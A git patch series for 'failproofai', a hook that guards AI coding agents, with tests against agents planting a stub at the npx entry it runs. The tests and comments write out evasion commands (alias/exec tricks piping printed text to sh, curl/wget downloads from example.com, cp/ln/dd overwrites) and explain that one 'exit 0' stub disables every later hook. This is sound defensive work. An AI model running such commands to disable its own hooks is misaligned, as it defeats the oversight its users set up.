node_modules/.bin/failproofai'\nfi | sh", + 'echo() { sh -c "$*"; }; echo \'printf x > node_modules/.bin/failproofai\'', + "alias echo='sh -c'\necho 'printf x > node_modules/.bin/failproofai'", + "exec > >(sh); echo 'printf x > node_modules/.bin/failproofai'", + "exec >/tmp/s.sh; echo 'printf x > node_modules/.bin/failproofai'; sh /tmp/s.sh", + 'echo "$(cat > node_modules/.bin/failproofai < /tmp/stub.sh)"', ])("denies quoted text something runs, or a real redirect: %s", async (command) => { expect(await bash(command)).toBe("deny"); }); + // Codex runs a command in the `workdir` its shell tool names, and its hook + // payload reports the session's directory only (found by hermes on + // FailproofAI/failproofai#1058). A relative destination that would plant + // the entry, were that directory npm's bin directory, is refused; nothing + // else is read differently. + it.each([ + "printf '#!/bin/sh\\nexit 0\\n' > failproofai", + "printf x >> ../../failproofai", + "cd src && printf x > ../failproofai", + "tee failproofai < /tmp/stub.sh", + "cp /tmp/stub.sh ./failproofai", + "cp /tmp/stage/failproofai .", + "mv /tmp/stub.sh failproofai.cmd", + "ln -s /tmp/stub.sh failproofai", + "curl -sofailproofai https://example.com/x", + "wget -O failproofai https://example.com/x", + "wget https://example.com/dl/failproofai", + "curl -OJ https://example.com/download", + "gcc -o failproofai main.c", + "dd if=/tmp/stub.sh of=failproofai", + "printf x > failproofai/dist/cli.mjs", + ])("denies a Codex command planting the entry wherever it runs: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("deny"); + }); + + it.each([ + "which failproofai", + "npm view failproofai version", + "rm -rf dist/*", + "twine upload dist/*", + "cat failproofai", + "printf x > src/failproofai.ts", + "cd /tmp && printf x > failproofai", + ])("allows a Codex command that plants nothing: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("allow"); + }); + + it("reads a Codex command from the workdir the call reports", async () => { + expect(await bashAs("codex", { command: "printf x > failproofai", workdir: "/work/proj/node_modules/.bin" })).toBe("deny"); + expect(await bashAs("codex", { command: "printf x > failproofai", workdir: "/work/proj/src" })).toBe("allow"); + }); + + it("reads other agents' commands from the session's directory", async () => { + expect(await bashAs("claude", { command: "printf x > failproofai" })).toBe("allow"); + expect(await bashAs(undefined, { command: "printf x > failproofai" })).toBe("allow"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 832af92f3..c65fcbb13 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2012,7 +2012,7 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and * does, because nothing in the second command reaches the state. */ -function destroysFailproofaiState(command: string, depth = 0, startDir?: string): boolean { +function destroysFailproofaiState(command: string, depth = 0, startDir?: string, startUnknown = false): boolean { // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -2023,7 +2023,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) if (depth === 0) { const bodies = substitutionBodies(command); for (let i = 0; i < bodies.length && i < 64; i++) { - if (destroysFailproofaiState(bodies[i], 1, startDir)) return true; + if (destroysFailproofaiState(bodies[i], 1, startDir, startUnknown)) return true; bodies.push(...substitutionBodies(bodies[i])); } } @@ -2099,7 +2099,10 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // dropped and `deep` set. `lost` marks a `cd` the walk could not follow // (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`): a relative word is then also // judged as if it stood in an installed location (`AS_IF_INSTALLED`). - type Where = { dir: string | undefined; full: string | undefined; deep: boolean; lost: boolean; inState: boolean }; + // `anywhere` marks a directory read from where the line started when the + // agent may have run it somewhere its hook does not report (Codex's + // `workdir`): a relative destination there may be npm's bin directory. + type Where = { dir: string | undefined; full: string | undefined; deep: boolean; lost: boolean; inState: boolean; anywhere?: boolean }; const startFull = typeof startDir === "string" && startDir !== "" ? shellPath(undefined, startDir) || "." : "."; let at: Where = { dir: startFull === "." ? undefined : shellTail(startFull), @@ -2107,8 +2110,11 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) deep: false, lost: false, inState: false, + anywhere: startUnknown, }; let previous: Where | null = null; + // `set -P` / `set -o physical`: every later `cd` is a `cd -P`. + let physicalMoves = false; const dirStack: Where[] = []; // Where the shell may stand instead. A `cd` can fail, and a command after // `;`, a newline, `&` or `||` runs anyway, in the directory the shell never @@ -2324,11 +2330,81 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // those this line makes: `printf x > bins/failproofai` where `bins` links to // `node_modules/.bin`. Only a link counts, so a backup that merely carries a // protected name somewhere else (`/tmp/backup/.failproofai`) does not. + // A glob expands where its literal directories really are: `cp x bins/fail*` + // with `bins` a link to `node_modules/.bin`, and `fail*` from a directory + // reached through one, both expand onto the entry (found by hermes on + // FailproofAI/failproofai#1058). So the directories before the first pattern + // are resolved, and the pattern is read from there. + const globLandsOnState = (written: string): boolean => { + const parts = written.split("/"); + const first = parts.findIndex((part) => GLOB_METACHAR_RE.test(part)); + if (first === -1) return false; + const prefix = first === 0 ? "" : parts.slice(0, first).join("/") || "/"; + const pattern = parts.slice(first).join("/"); + if (/[$`]/.test(prefix)) return false; + return [at, ...alts].some((base) => { + const raw = + prefix === "" + ? !base.lost && base.full?.startsWith("/") + ? base.full + : undefined + : absoluteFrom(base, prefix)?.raw; + if (raw === undefined) return false; + const real = realPath(raw); + if (real === ELOOP) return true; + if (typeof real !== "string") return lostNamesState({ via: real.via, lost: real.lost === "" ? pattern : `${real.lost}/${pattern}` }); + return real !== shellPath(undefined, raw) && namesState(`${real === "/" ? "" : real}/${pattern}`); + }); + }; const landsOnState = (written: string): boolean => realPathsOf(written).some(({ plain, real }) => real === ELOOP ? true : typeof real !== "string" ? lostNamesState(real) : real !== plain && namesState(real), - ); + ) || + (GLOB_METACHAR_RE.test(written) && globLandsOnState(written)); const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // From a directory the agent may have run the line in without saying so + // (`anywhere`), a relative destination that would be the entry, or the + // package, if that directory were npm's bin directory or a `node_modules`: + // `printf … > failproofai`, `../failproofai`, `failproofai/dist/cli.mjs`. + const anywhereHere = (): boolean => at.anywhere === true || alts.some((base) => base.anywhere === true); + const plantsAnywhere = (written: string): boolean => { + if (!relativeWord(written) || /[$`]/.test(written)) return false; + const path = written.replace(/[\\/]+$/, ""); + const slash = Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")); + return ( + AS_IF_INSTALLED.some((dir) => FAILPROOFAI_CODE_PATH_RE.test(dir + path)) || + (couldBeEntryName(path.slice(slash + 1)) && /^(?:\.\.?[\\/]+)*$/.test(path.slice(0, slash + 1))) + ); + }; + // What a simple command writes that its options or operands name, read from + // such a directory: an output flag's value, separate or glued (`curl -o`, + // `wget -O`, `gcc -o`, `--output=`), every operand of a command that writes + // them all (`tee`), the last of one that writes its second (`uniq`), and + // `dd of=`. Copies, moves, links and downloads are judged where they land. + const writesEntryAnywhere = (list: string[]): boolean => { + if (list.length === 0) return false; + const head = commandBasename(list[0]); + const args = list.slice(1); + const operands = args.filter((arg) => !arg.startsWith("-")); + if (OPERAND_WRITE_COMMANDS.has(head) && operands.some(plantsAnywhere)) return true; + if (SECOND_OPERAND_WRITERS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; + if (head === "dd" && args.some((arg) => arg.startsWith("of=") && plantsAnywhere(arg.slice(3)))) return true; + return args.some((arg, i) => { + const long = /^--(?:output|out)[\w-]*(=)?/.exec(arg); + if (long) return plantsAnywhere(long[1] ? arg.slice(arg.indexOf("=") + 1) : (args[i + 1] ?? "")); + if (!/^-[A-Za-z]/.test(arg)) return false; + if (/^-[A-Za-z]*[oO]$/.test(arg)) return plantsAnywhere(args[i + 1] ?? ""); + // Glued on after an `o` or `O`; read as getopt reads it where the + // command's value letters are known. + const known = SHORT_VALUE_OPTIONS[head]; + for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { + if (c > MAX_OPTION_CLUSTER) return /failproof/i.test(arg); + if ((arg[c] === "o" || arg[c] === "O") && plantsAnywhere(arg.slice(c + 1))) return true; + if (known?.includes(arg[c])) return false; + } + return false; + }); + }; // `namesHere` for a value glued to an option, of which a long command line // has one per letter of its option words. Every protected name spells // `failproof`, so a value that spells none, climbs nowhere and expands to @@ -2391,7 +2467,12 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const expandEverywhere = (word: string): string[] => NAMES_PWD_RE.test(word) ? alts.map((alt) => expandAt(word, alt)) : []; // `named` is the operand as written, judged when the walk cannot follow it. - const whereAfter = (base: Where, target: string, named: string): Where => { + // A `physical` move (`cd -P`, or any `cd` after `set -P`) goes where the path + // really is, each link followed and each `..` taken after it: with `deep` a + // link to `node_modules/.bin/sub`, `cd -P deep/..` stands in `.bin`, which + // collapsing `..` as text read as the directory it started from (found by + // hermes on FailproofAI/failproofai#1058). + const whereAfter = (base: Where, target: string, named: string, physical = false): Where => { if (/\$|`/.test(target)) return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; const relative = relativeWord(target); if (relative && base.lost) { @@ -2407,6 +2488,22 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) : base.full !== undefined ? shellPath(base.full === "." ? undefined : base.full, target) || "." : undefined; + if (physical) { + const raw = !relative + ? target.startsWith("/") + ? target + : homeBased + ? homedir() + target.slice(1) + : undefined + : base.full?.startsWith("/") + ? `${base.full}/${target}` + : undefined; + if (raw !== undefined) { + const real = realPath(raw); + if (typeof real !== "string") return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + full = real; + } + } // `~user` and a `cd` from a directory too deep to keep are read from `dir`. const fromDir = shellPath(relative ? base.dir : undefined, target); let deep = relative && base.deep; @@ -2424,7 +2521,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) (relative && !climbs ? base.inState : full !== undefined && (!relative || base.inState) && FAILPROOFAI_STATE_PATH_RE.test(full)); - return { dir: kept, full, deep, lost: false, inState }; + return { dir: kept, full, deep, lost: false, inState, anywhere: relative && base.anywhere }; }; // Moves the shell to `to`, and anywhere else it may stand to `others`. If // the move fails, it stays wherever it was, which `pending` keeps — unless @@ -2448,6 +2545,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const moveShell = (head: string, args: string[], expandedArgs: string[]) => { const stackOnly = head !== "cd" && args.includes("-n"); const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); + // `cd -P` and `-L`, the last one given winning; `pushd` follows `set -P`. + let physical = physicalMoves; + if (head === "cd") { + for (const option of args.slice(0, k === -1 ? args.length : k)) { + if (!/^-[A-Za-z@]+$/.test(option)) continue; + for (const flag of option.slice(1)) { + if (flag === "P") physical = true; + else if (flag === "L") physical = false; + } + } + } const named = k === -1 ? undefined : args[k]; const operand = k === -1 ? undefined : expandedArgs[k]; if (operand !== undefined && head !== "cd" && /^[+-]\d+$/.test(operand)) { @@ -2482,13 +2590,13 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } if (operand === "-") { const oldpwd = values.get("OLDPWD"); - if (oldpwd !== undefined) moveTo(whereAfter(at, expand(oldpwd), oldpwd)); + if (oldpwd !== undefined) moveTo(whereAfter(at, expand(oldpwd), oldpwd, physical)); else if (previous) moveTo(previous, [], true); return; } if (operand === "") return; const target = operand ?? expand("$HOME"); - const to = whereAfter(at, target, named ?? target); + const to = whereAfter(at, target, named ?? target, physical); if (stackOnly) { dirStack.push(to); return; @@ -2497,7 +2605,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // Wherever else the shell may stand moves too, the same way. moveTo( to, - alts.map((where) => whereAfter(where, target, named ?? target)), + alts.map((where) => whereAfter(where, target, named ?? target, physical)), startFull.startsWith("/") && to.full === startFull, ); }; @@ -2653,6 +2761,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { const written = target.replace(/^["']|["']$/g, ""); if (namesHere(written) || namesHere(expand(written)) || expandEverywhere(written).some(namesHere)) return true; + if (anywhereHere() && (plantsAnywhere(written) || plantsAnywhere(expand(written)))) return true; } for (const simple of simpleCommands) { @@ -2681,18 +2790,22 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) lists.some( (list) => landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState, isBinDir) || + // From a directory the agent may have run the line in without + // saying, a copy is also read as written, from somewhere unknown. + (base.anywhere === true && landsInDirectoryAs(list, namesState, (word) => word, true, landsOnState, isBinDir)) || downloadLandings(list).some(({ dir, name }) => { const into = fromBase(base, dir).replace(/(?:[\\/]+\.?)+$/, ""); - if (name === null) return NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(dir); + if (name === null) return NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(dir) || (base.anywhere === true && relativeWord(dir)); const landing = `${dir.replace(/[\\/]+$/, "")}/${name}`; return ( namesState(fromBase(base, landing)) || landsOnState(landing) || - (base.lost && relativeWord(dir) && couldBeEntryName(name)) + ((base.lost || base.anywhere === true) && relativeWord(dir) && couldBeEntryName(name)) ); }), ), - ) + ) || + (anywhereHere() && lists.some(writesEntryAnywhere)) ) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. @@ -2727,6 +2840,11 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) return true; } else if (head === "ln" && simpleCommands.length === 1) { recordLink(expanded.slice(1)); + } else if (head === "set" && simpleCommands.length === 1) { + for (let i = 1; i < words.length; i++) { + if (/^[-+][A-Za-z]+$/.test(words[i]) && words[i].includes("P")) physicalMoves = words[i][0] === "-"; + else if ((words[i] === "-o" || words[i] === "+o") && words[i + 1] === "physical") physicalMoves = words[i] === "-o"; + } } parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { @@ -3926,30 +4044,68 @@ function patchTargets(input: Record | undefined): string[] { /** The builtins that print their arguments and run none of them. */ const PRINT_COMMANDS = new Set(["echo", "printf"]); +/** Readers a pipeline can hand printed text to without running any of it. */ +const TEXT_READERS = new Set([ + "cat", "less", "more", "head", "tail", "wc", "grep", "egrep", "fgrep", "sort", "uniq", "cut", "tr", "column", + "nl", "fold", "fmt", "rev", +]); + +/** Where a print's own redirect can send it without keeping it anywhere it may be run from. */ +const HARMLESS_OUTPUT_RE = /^(?:&\d*-?|\/dev\/(?:null|stdout|stderr|tty))$/; + /** - * `command` with each `>` and `<` blanked where it is quoted text that `echo` - * or `printf` only prints: `echo 'cat > node_modules/.bin/failproofai'` - * documents a command rather than running one (found by hermes on + * Commands after which what a line prints may be run or kept to run: a + * compound command (`for … do echo '…'; done | sh`), a function or alias + * definition that can stand in for `echo`, and `exec`, which redirects the + * shell itself. + */ +const RUNS_PRINTED_TEXT = new Set([ + "if", "then", "elif", "else", "fi", "for", "while", "until", "do", "done", "case", "esac", "select", "function", + "coproc", "alias", "enable", "shopt", "exec", +]); + +/** + * `command` with each `>` and `<` blanked where it is text that `echo` or + * `printf` only prints: `echo 'cat > node_modules/.bin/failproofai'` documents + * a command rather than running one (found by hermes on * FailproofAI/failproofai#1058). The walk reads redirects from the text, * quotes and all, because a quoted program handed to `bash -c` or piped into * `sh` really does redirect, and the unescaped pass drops the quotes, so both - * read that `>` as a redirect. Blanked only where nothing on the line can run - * the text: a pipeline that is one `echo` or `printf` (not `printf -v`, which - * stores it), with no redirect of its own, on a line with no subshell, group, - * substitution, `$'…'` or heredoc. Otherwise `command` comes back unchanged. + * read that `>` as a redirect. + * + * Text means quoted (`'…'`, `"…"`, `$'…'`) or escaped (`\>`). Blanked only + * where nothing on the line can run it: an `echo` or `printf` (not + * `printf -v`, which stores it) outside any subshell, group or substitution, + * holding no substitution, piped into nothing but text readers, and + * redirected, if at all, to another descriptor or `/dev/null`; on a line with + * no compound command, function, alias, `exec`, heredoc or process + * substitution. Otherwise the text is left as it is. */ function blankPrintedRedirects(command: string): string { - if (!/['"]/.test(command) || !/[<>]/.test(command)) return command; - const quotedAt = new Uint8Array(command.length); - const pieces: Array<{ start: number; end: number; piped: boolean }> = []; - let quote: string | null = null; + if (!/['"\\]/.test(command) || !/[<>]/.test(command)) return command; + // Per character: text (quoted or escaped), and inside a subshell, group or + // substitution, or a substitution's own start. + const text = new Uint8Array(command.length); + const nested = new Uint8Array(command.length); + const pieces: Array<{ start: number; end: number; pipeIn: boolean; pipeOut: boolean }> = []; + let quote: "'" | '"' | "$'" | null = null; + let depth = 0; + let backquoted = false; let start = 0; - let pipedIn = false; + let pipeIn = false; for (let i = 0; i < command.length; i++) { const ch = command[i]; if (quote === "'") { if (ch === "'") quote = null; - else quotedAt[i] = 1; + else text[i] = 1; + continue; + } + if (quote === "$'") { + if (ch === "'") quote = null; + else { + text[i] = 1; + if (ch === "\\" && i + 1 < command.length) text[++i] = 1; + } continue; } if (quote === '"') { @@ -3957,44 +4113,86 @@ function blankPrintedRedirects(command: string): string { quote = null; continue; } - if (ch === "`" || (ch === "$" && command[i + 1] === "(")) return command; - quotedAt[i] = 1; - if (ch === "\\" && i + 1 < command.length) quotedAt[++i] = 1; + text[i] = 1; + // A substitution inside double quotes still runs. + if (ch === "`" || (ch === "$" && command[i + 1] === "(")) nested[i] = 1; + if (ch === "\\" && i + 1 < command.length) text[++i] = 1; continue; } if (ch === "\\") { - i++; + if (i + 1 < command.length) text[++i] = 1; continue; } if (ch === "'" || ch === '"') { - if (command[i - 1] === "$") return command; - quote = ch; + quote = ch === "'" && command[i - 1] === "$" ? "$'" : ch; continue; } - if ("`(){}".includes(ch) || (ch === "<" && command[i + 1] === "<")) return command; - if ("|;&\n\r".includes(ch)) { + if ((ch === "<" || ch === ">") && command[i + 1] === "(") return command; + if (ch === "<" && command[i + 1] === "<") return command; + if (ch === "(" || ch === "{") depth++; + if (ch === "`") backquoted = !backquoted; + if (depth > 0 || backquoted || "`(){}".includes(ch)) nested[i] = 1; + if (ch === ")" || ch === "}") depth = Math.max(0, depth - 1); + // `&` beside a `>`, and `|` after one, belong to a redirect (`>&2`, `&>`, + // `>|`), not a separator. + const redirecting = (ch === "&" && (command[i - 1] === ">" || command[i + 1] === ">")) || (ch === "|" && command[i - 1] === ">"); + if ("|;&\n\r".includes(ch) && !redirecting) { let j = i; while (j < command.length && "|;&\n\r".includes(command[j])) j++; - const pipe = command.slice(i, j) === "|" || command.slice(i, j) === "|&"; - pieces.push({ start, end: i, piped: pipedIn || pipe }); - pipedIn = pipe; + const run = command.slice(i, j); + const pipe = run === "|" || run === "|&"; + pieces.push({ start, end: i, pipeIn, pipeOut: pipe }); + pipeIn = pipe; start = j; i = j - 1; } } - // An unterminated quote is a line the shell refuses: left as it is. - if (quote !== null) return command; - pieces.push({ start, end: command.length, piped: pipedIn }); - const out = command.split(""); - for (const { start: from, end: to, piped } of pieces) { - if (piped) continue; + if (quote !== null || depth > 0 || backquoted) return command; + pieces.push({ start, end: command.length, pipeIn, pipeOut: false }); + // The line read with its text blanked, for the commands that can run it. + let bare = ""; + for (let i = 0; i < command.length; i++) bare += text[i] ? " " : command[i]; + if (/\w\s*\(\s*\)/.test(bare)) return command; + for (const { start: from, end: to } of pieces) { + if (RUNS_PRINTED_TEXT.has(bare.slice(from, to).trim().split(/\s+/)[0])) return command; + } + + // Whether a piece stands alone at the top of the line with only harmless + // output redirects, and the command it runs. + const plain = (from: number, to: number): string | undefined => { + for (let k = from; k < to; k++) if (nested[k]) return undefined; + for (let k = from; k < to; k++) { + if (command[k] !== ">" || text[k]) continue; + let j = k + 1; + if (command[j] === ">" || command[j] === "|") j++; + const duplicate = command[j] === "&"; + if (duplicate) j++; + while (j < to && /[ \t]/.test(command[j])) j++; + let target = duplicate ? "&" : ""; + for (; j < to && !/\s/.test(command[j]); j++) if (command[j] !== "'" && command[j] !== '"') target += command[j]; + if (!HARMLESS_OUTPUT_RE.test(target)) return undefined; + k = j - 1; + } const words = shellWords(command.slice(from, to)); - if (words.length === 0 || !PRINT_COMMANDS.has(words[0].raw)) continue; - if (words[0].raw === "printf" && words.some(({ raw }) => /^-[A-Za-z]*v/.test(raw))) continue; - let redirected = false; - for (let k = from; k < to && !redirected; k++) redirected = (command[k] === ">" || command[k] === "<") && !quotedAt[k]; - if (redirected) continue; - for (let k = from; k < to; k++) if (quotedAt[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; + return words.length > 0 ? words[0].raw : undefined; + }; + const out = command.split(""); + for (let p = 0; p < pieces.length; p++) { + if (pieces[p].pipeIn) continue; + // The pipeline this piece starts. + let last = p; + while (pieces[last].pipeOut && last + 1 < pieces.length) last++; + const head = plain(pieces[p].start, pieces[p].end); + if (head === undefined || !PRINT_COMMANDS.has(head)) continue; + const words = shellWords(command.slice(pieces[p].start, pieces[p].end)); + if (head === "printf" && words.some(({ raw }) => /^-[A-Za-z]*v/.test(raw))) continue; + let readers = true; + for (let q = p + 1; q <= last && readers; q++) { + const reader = plain(pieces[q].start, pieces[q].end); + readers = reader !== undefined && TEXT_READERS.has(reader); + } + if (!readers) continue; + for (let k = pieces[p].start; k < pieces[last].end; k++) if (text[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; } return out.join(""); } @@ -4083,18 +4281,26 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // the binary walk is: `rm -rf ~/.failproof"ai"` presents a broken literal to a // matcher and a real path to the shell. The walk starts where the command runs: // the session's directory, or the one an Antigravity `run_command` names. - const toolCwd = ctx.toolInput?.cwd; - const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; - // The walk must not throw: a policy that throws is skipped by the evaluator, - // and for this one that is an allow. So a throw is a deny, said as one. + const toolCwd = ctx.toolInput?.cwd ?? ctx.toolInput?.workdir; + const reported = typeof toolCwd === "string" && toolCwd !== ""; + const shellCwd = reported ? toolCwd : ctx.session?.cwd; + // Codex runs a command in the `workdir` its shell tool names, and its hook + // payload carries the session's directory and the command only: a native + // `printf … > failproofai` with workdir `node_modules/.bin` arrived as a + // write in the project root (found by hermes on FailproofAI/failproofai#1058). + // Unless the call reports one, the line may start anywhere, which the walk + // reads as it reads a directory it has lost. + const startUnknown = ctx.cli === "codex" && !reported; // Quoted text an `echo` or `printf` only prints is read as text, in both // passes (see `blankPrintedRedirects`). const walked = blankPrintedRedirects(cmd); + // The walk must not throw: a policy that throws is skipped by the evaluator, + // and for this one that is an allow. So a throw is a deny, said as one. let destroys: boolean; try { destroys = - destroysFailproofaiState(walked, 0, shellCwd) || - destroysFailproofaiState(walked === cmd ? unescaped : stripShellQuoting(walked), 0, shellCwd); + destroysFailproofaiState(walked, 0, shellCwd, startUnknown) || + destroysFailproofaiState(walked === cmd ? unescaped : stripShellQuoting(walked), 0, shellCwd, startUnknown); } catch (err) { return deny( "failproofai could not read this command to check it against its own files, so it is refused. " + From ebbac149b86a2ef0783545f1e0c9cfd7ae6647e0 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:17:41 +0530 Subject: [PATCH 29/60] [hooks] Test: the always-on guard must protect the entry a project-scope npx hook runs (#1795) Fails on FailproofAI/failproofai#1050's head: 43 of the 44 deny cases are allowed there (writes to node_modules/.bin/failproofai in the project, a parent directory, home or the npx cache; Windows shims; through links; and shell spellings including a file named failproofai copied into .bin/). Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 255 ++++++++++++++++++++ 1 file changed, 255 insertions(+) create mode 100644 __tests__/hooks/guard-npx-local-bin.test.ts diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts new file mode 100644 index 000000000..d844fa6d5 --- /dev/null +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -0,0 +1,255 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { listIntegrations } from "../../src/hooks/integrations"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as guard-installed-code.test.ts. The symlink cases below use the +// real synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "#!/bin/sh\nexit 0\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +/** + * A project-scope hook is `npx -y failproofai --hook …`, so that a committed + * settings file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. One Write of `exit 0` there turned every later hook in that tree + * into an allow, and the stub stayed for every later session — the guard + * protected `~/.failproofai` and, with #1050, the installed package, but not + * the entry npx actually runs. (FailproofAI/agenteye#1795) + */ +describe("block-failproofai-commands — the entry a project-scope npx hook runs", () => { + describe("file tools", () => { + it.each([ + ["the project's own", "/work/proj/node_modules/.bin/failproofai"], + ["a parent directory's", "/work/node_modules/.bin/failproofai"], + ["the home directory's, above every project in it", "/home/u/node_modules/.bin/failproofai"], + ["the npx cache's", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/.bin/failproofai"], + ["a monorepo package's", "/work/proj/packages/api/node_modules/.bin/failproofai"], + ])("denies writing %s node_modules/.bin/failproofai", async (_where, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + // npm writes `.cmd` and `.ps1` shims beside the entry on Windows, and bun + // writes `.exe` and `.bunx`. + it.each([ + "C:\\work\\proj\\node_modules\\.bin\\failproofai", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.cmd", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.ps1", + "C:/work/proj/node_modules/.bin/failproofai.exe", + "C:/work/proj/node_modules/.bin/failproofai.bunx", + ])("denies writing the Windows entry %s", async (path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + it("denies Edit and NotebookEdit of the entry", async () => { + const edit = await policy.fn( + makeCtx({ + toolName: "Edit", + toolInput: { file_path: "/work/proj/node_modules/.bin/failproofai", old_string: "exec", new_string: "exit 0 #" }, + }), + ); + expect(edit.decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: "/work/proj/node_modules/.bin/failproofai" } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + it("denies the relative path a write from the project names", async () => { + expect((await write("node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("./node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("../node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, and a path resolver + // collapses `//` and `/./`: every one of these opens the same file. + it("matches every spelling that opens the same file", async () => { + expect((await write("/Users/u/proj/Node_Modules/.BIN/FailproofAI")).decision).toBe("deny"); + expect((await write("/work/proj/node_modules//.bin/./failproofai")).decision).toBe("deny"); + }); + + describe("through links", () => { + let root: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-guard-")); + mkdirSync(join(root, "proj", "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(root, "proj", "tools"), { recursive: true }); + // Neither link's own path says anything about failproofai or `.bin`. + symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "tools", "bins")); + symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "tools", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // The entry does not exist yet in a project with no dependencies, so the + // link is dangling: the write creates the stub at the link's target. + it("denies a write through a link to the entry, even before it exists", async () => { + expect((await write(join(root, "proj", "tools", "hook"))).decision).toBe("deny"); + }); + + it("denies a write through a link to the .bin directory", async () => { + expect((await write(join(root, "proj", "tools", "bins", "failproofai"))).decision).toBe("deny"); + expect((await write("tools/bins/failproofai", join(root, "proj"))).decision).toBe("deny"); + }); + + it("still allows other files through the same link", async () => { + expect((await write(join(root, "proj", "tools", "bins", "my-script"))).decision).toBe("allow"); + }); + }); + + // The entry, and nothing else that lives beside it or shares its name. + it.each([ + ["another package's entry", "/work/proj/node_modules/.bin/tsc"], + ["an entry that only shares a prefix", "/work/proj/node_modules/.bin/failproofai-extras"], + ["a name npx never runs for `failproofai`", "/work/proj/node_modules/.bin/failproofai.sh"], + ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], + ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + describe("shell commands", () => { 